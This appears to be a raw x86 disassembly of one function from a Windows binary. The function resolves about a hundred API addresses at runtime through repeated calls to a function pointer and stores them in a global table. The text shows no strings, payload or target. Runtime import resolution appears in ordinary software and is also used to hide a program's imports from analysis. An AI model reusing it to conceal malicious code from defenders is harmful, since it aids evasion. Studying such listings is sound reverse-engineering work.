mov dword [0x433fe0], eax
call dword [0x433f84]
push dword [0x4344ac]
mov dword [0x433fe4], eax
push edi
call dword [0x433f84]
push dword [0x4344b0]
mov dword [0x433fe8], eax
push edi
call dword [0x433f84]
push dword [0x4344b4]
mov dword [0x433fec], eax
push edi
call dword [0x433f84]
push dword [0x4344b8]
mov dword [0x433ff0], eax
push edi
call dword [0x433f84]
push dword [0x4344bc]
mov dword [0x433ff4], eax
push edi
call dword [0x433f84]
push dword [0x4344c0]
mov dword [0x433ff8], eax
push edi
call dword [0x433f84]
push dword [0x4344c4]
mov dword [0x433ffc], eax
push edi
call dword [0x433f84]
push dword [0x4344c8]
mov dword [0x434000], eax
push edi
call dword [0x433f84]
push dword [0x4344cc]
mov dword [0x434004], eax
push esi
call dword [0x433f84]
push dword [0x4344d0]
mov dword [0x434008], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344d4]
mov dword [0x43400c], eax
push dword [ebp - 0x10]
call dword [0x433f84]
push dword [0x4344dc]
mov dword [0x434010], eax
push dword [ebp - 0x10]
call dword [0x433f84]
push dword [0x4344d8]
mov dword [0x434014], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4346a4]
mov dword [0x433f50], eax
push dword [ebp - 0x10]
call dword [0x433f84]
push dword [0x4344e0]
mov dword [0x434018], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344ec]
mov dword [0x43401c], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344e4]
mov dword [0x434020], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344e8]
mov dword [0x434028], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344f0]
mov dword [0x434024], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4344f4]
mov dword [0x43402c], eax
push esi
call dword [0x433f84]
push dword [0x4344f8]
mov dword [0x434030], eax
push esi
call dword [0x433f84]
push dword [0x4344fc]
mov dword [0x434034], eax
push esi
call dword [0x433f84]
push dword [0x434500]
mov dword [0x434038], eax
push esi
call dword [0x433f84]
push dword [0x434504]
mov dword [0x43403c], eax
push esi
call dword [0x433f84]
push dword [0x434508]
mov dword [0x434040], eax
push esi
call dword [0x433f84]
push dword [0x43450c]
mov dword [0x434044], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434510]
mov dword [0x434048], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434514]
mov dword [0x43404c], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434518]
mov dword [0x434050], eax
push dword [ebp - 8]
call dword [0x433f84]
push dword [0x43451c]
mov dword [0x434054], eax
push dword [ebp - 8]
call dword [0x433f84]
push dword [0x434520]
mov dword [0x434058], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434524]
mov dword [0x43405c], eax
push ebx
call dword [0x433f84]
push dword [0x434528]
mov dword [0x434060], eax
push ebx
call dword [0x433f84]
push dword [0x43452c]
mov dword [0x434064], eax
push ebx
call dword [0x433f84]
push dword [0x434530]
mov dword [0x434068], eax
push dword [ebp - 0x24]
call dword [0x433f84]
push dword [0x434534]
mov dword [0x43406c], eax
push esi
call dword [0x433f84]
push dword [0x434538]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x434070], eax
call dword [0x433f84]
push dword [0x43453c]
mov dword [0x434074], eax
push ebx
call dword [0x433f84]
push dword [0x434540]
mov dword [0x434078], eax
push ebx
call dword [0x433f84]
push dword [0x434544]
mov dword [0x43407c], eax
push ebx
call dword [0x433f84]
push dword [0x434548]
mov dword [0x434080], eax
push ebx
call dword [0x433f84]
push dword [0x43454c]
mov dword [0x434084], eax
push ebx
call dword [0x433f84]
push dword [0x434550]
mov esi, dword [ebp - 0x18]
push esi
mov dword [0x434088], eax
call dword [0x433f84]
push dword [0x434554]
mov dword [0x43408c], eax
push esi
call dword [0x433f84]
push dword [0x434558]
mov dword [0x434090], eax
push esi
call dword [0x433f84]
push dword [0x43455c]
mov dword [0x434094], eax
push ebx
call dword [0x433f84]
push dword [0x434560]
mov dword [0x434098], eax
push ebx
call dword [0x433f84]
push dword [0x434564]
mov dword [0x43409c], eax
push ebx
call dword [0x433f84]
push dword [0x434568]
mov dword [0x4340a0], eax
push ebx
call dword [0x433f84]
push dword [0x43456c]
mov dword [0x4340a4], eax
push ebx
call dword [0x433f84]
push dword [0x434570]
mov dword [0x4340a8], eax
push ebx
call dword [0x433f84]
push dword [0x434574]
mov dword [0x4340ac], eax
push esi
call dword [0x433f84]
push dword [0x434578]
mov dword [0x4340b0], eax
push ebx
call dword [0x433f84]
push dword [0x43457c]
mov dword [0x4340b4], eax
push ebx
call dword [0x433f84]
push dword [0x434580]
mov dword [0x4340b8], eax
push ebx
call dword [0x433f84]
push dword [0x434584]
mov dword [0x4340bc], eax
push ebx
call dword [0x433f84]
push dword [0x434588]
mov dword [0x4340c0], eax
push ebx
call dword [0x433f84]
push dword [0x43458c]
mov ebx, dword [ebp - 0x28]
push ebx
mov dword [0x4340c4], eax
call dword [0x433f84]
push dword [0x434590]
mov dword [0x4340c8], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434594]
mov dword [0x4340cc], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x434598]
mov dword [0x4340d0], eax
push dword [ebp - 0x14]
call dword [0x433f84]
push dword [0x43459c]
mov dword [0x4340d4], eax
push edi
call dword [0x433f84]
push dword [0x4345a0]
mov dword [0x4340d8], eax
push edi
call dword [0x433f84]
push dword [0x4345a4]
mov edi, dword [ebp - 4]
push edi
mov dword [0x4340dc], eax
call dword [0x433f84]
push dword [0x4345a8]
mov dword [0x4340e0], eax
push edi
call dword [0x433f84]
push dword [0x4345ac]
mov edi, dword [ebp - 0x10]
push edi
mov dword [0x4340e4], eax
call dword [0x433f84]
push dword [0x4345b0]
mov dword [0x4340e8], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4345b4]
mov dword [0x4340ec], eax
push dword [ebp - 0xc]
call dword [0x433f84]
push dword [0x4345b8]
mov dword [0x4340f0], eax
push dword [ebp - 0xc]
call dword [0x433f84]
push dword [0x4345bc]
mov dword [0x4340f4], eax
push dword [ebp - 4]
call dword [0x433f84]
mov dword [0x4340f8], eax
push dword [0x4345c0]
push dword [ebp - 0xc]
call dword [0x433f84]
push dword [0x4345c4]
mov dword [0x4340fc], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4345c8]
mov dword [0x434100], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4345cc]
mov dword [0x434104], eax
push dword [ebp - 8]
call dword [0x433f84]
push dword [0x4345d0]
mov dword [0x434108], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4345d4]
mov dword [0x43410c], eax
push ebx
call dword [0x433f84]
push dword [0x4345d8]
mov dword [0x434110], eax
push ebx
call dword [0x433f84]
push dword [0x4345dc]
mov dword [0x434114], eax
push edi
call dword [0x433f84]
push dword [0x4345e0]
mov dword [0x434118], eax
push edi
call dword [0x433f84]
push dword [0x4345e4]
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [0x43411c], eax
call dword [0x433f84]
push dword [0x4345e8]
mov dword [0x434120], eax
push ebx
call dword [0x433f84]
push dword [0x4345ec]
mov dword [0x434124], eax
push ebx
call dword [0x433f84]
push dword [0x4345f0]
mov dword [0x434128], eax
push dword [ebp - 4]
call dword [0x433f84]
push dword [0x4345f4]
mov dword [0x43412c], eax
push ebx
call dword [0x433f84]
push dword [0x4345f8]
mov dword [0x434130], eax
push ebx
call dword [0x433f84]
push dword [0x4345fc]
mov dword [0x434134], eax
push ebx
call dword [0x433f84]
push dword [0x434600]
mov dword [0x434138], eax
push ebx
call dword [0x433f84]
push dword [0x434604]
mov dword [0x43413c], eax
push ebx
call dword [0x433f84]
push dword [0x434608]
mov dword [0x434140], eax
push ebx
call dword [0x433f84]
push dword [0x43460c]
mov dword [0x434144], eax
push ebx
call dword [0x433f84]
mov dword [0x434148], eax
push dword [0x434610]
push ebx
call dword [0x433f84]
push dword [0x434614]
mov dword [0x43414c], eax
push ebx
call dword [0x433f84]
push dword [0x434618]
mov dword [0x434150], eax
push ebx
call dword [0x433f84]
push dword [0x43461c]
mov dword [0x434154], eax
push ebx
call dword [0x433f84]
push dword [0x434624]
mov dword [0x434158], eax
push ebx
call dword [0x433f84]
push dword [0x434620]
mov dword [0x434160], eax
push ebx
call dword [0x433f84]
push dword [0x434628]
mov dword [0x43415c], eax
push ebx
call dword [0x433f84]
push dword [0x43462c]
mov dword [0x434164], eax
push dword [ebp - 0x14]
call dword [0x433f84]
push dword [0x434630]
mov dword [0x434168], eax
push esi
call dword [0x433f84]
push dword [0x434634]
mov dword [0x43416c], eax
push ebx
call dword [0x433f84]
push dword [0x434638]
mov ebx, dword [ebp - 0x2c]
push ebx
mov dword [0x434170], eax
call dword [0x433f84]
push dword [0x43463c]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x434174], eax
call dword [0x433f84]
push dword [0x434640]
mov dword [0x434178], eax
push ebx
call dword [0x433f84]
push dword [0x434644]
mov dword [0x43417c], eax
push ebx
call dword [0x433f84]
push dword [0x434648]
mov dword [0x434180], eax
push ebx
call dword [0x433f84]
push dword [0x43464c]
mov dword [0x434184], eax
push ebx
call dword [0x433f84]
push dword [0x434650]
mov dword [0x434188], eax
push ebx
call dword [0x433f84]
push dword [0x434654]
mov dword [0x43418c], eax
push ebx
call dword [0x433f84]
push dword [0x434658]
mov dword [0x434190], eax
push ebx
call dword [0x433f84]
push dword [0x43465c]
mov dword [0x434194], eax
push esi
call dword [0x433f84]
push dword [0x434660]
mov dword [0x434198], eax
push esi
call dword [0x433f84]
push dword [0x434664]
mov dword [0x43419c], eax
push esi
call dword [0x433f84]
push dword [0x434668]
mov dword [0x4341a0], eax
push ebx
call dword [0x433f84]
push dword [0x43466c]
mov dword [0x4341a4], eax
push esi
call dword [0x433f84]
push dword [0x434670]
mov dword [0x4341a8], eax
push esi
call dword [0x433f84]
push dword [0x434674]
mov dword [0x4341ac], eax
push edi
call dword [0x433f84]
push dword [0x434678]
mov dword [0x4341b0], eax
push edi
call dword [0x433f84]
push dword [0x43467c]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x4341b4], eax
call dword [0x433f84]
push dword [0x434680]
mov dword [0x4341b8], eax
push ebx
call dword [0x433f84]
push dword [0x434684]
mov dword [0x4341bc], eax
push dword [ebp - 0x14]
call dword [0x433f84]
push dword [0x434688]
mov dword [0x4341c0], eax
push ebx
call dword [0x433f84]
push dword [0x43468c]
mov dword [0x4341c4], eax
push ebx
call dword [0x433f84]
push dword [0x4343e0]
mov dword [0x4341c8], eax
call fcn.00408098
push dword [0x434734]
mov dword [0x434410], eax
call fcn.00408098
push dword [0x434730]
mov dword [0x434888], eax
call fcn.00408098
push dword [0x434400]
mov dword [0x434884], eax
call fcn.00408098
push dword [0x4343d4]
mov dword [0x434414], eax
call fcn.00408098
push dword [0x4343d8]
mov dword [0x43440c], eax
call fcn.00408098
add esp, 0x18
mov dword [0x434408], eax
pop edi
pop esi
pop ebx
leave
ret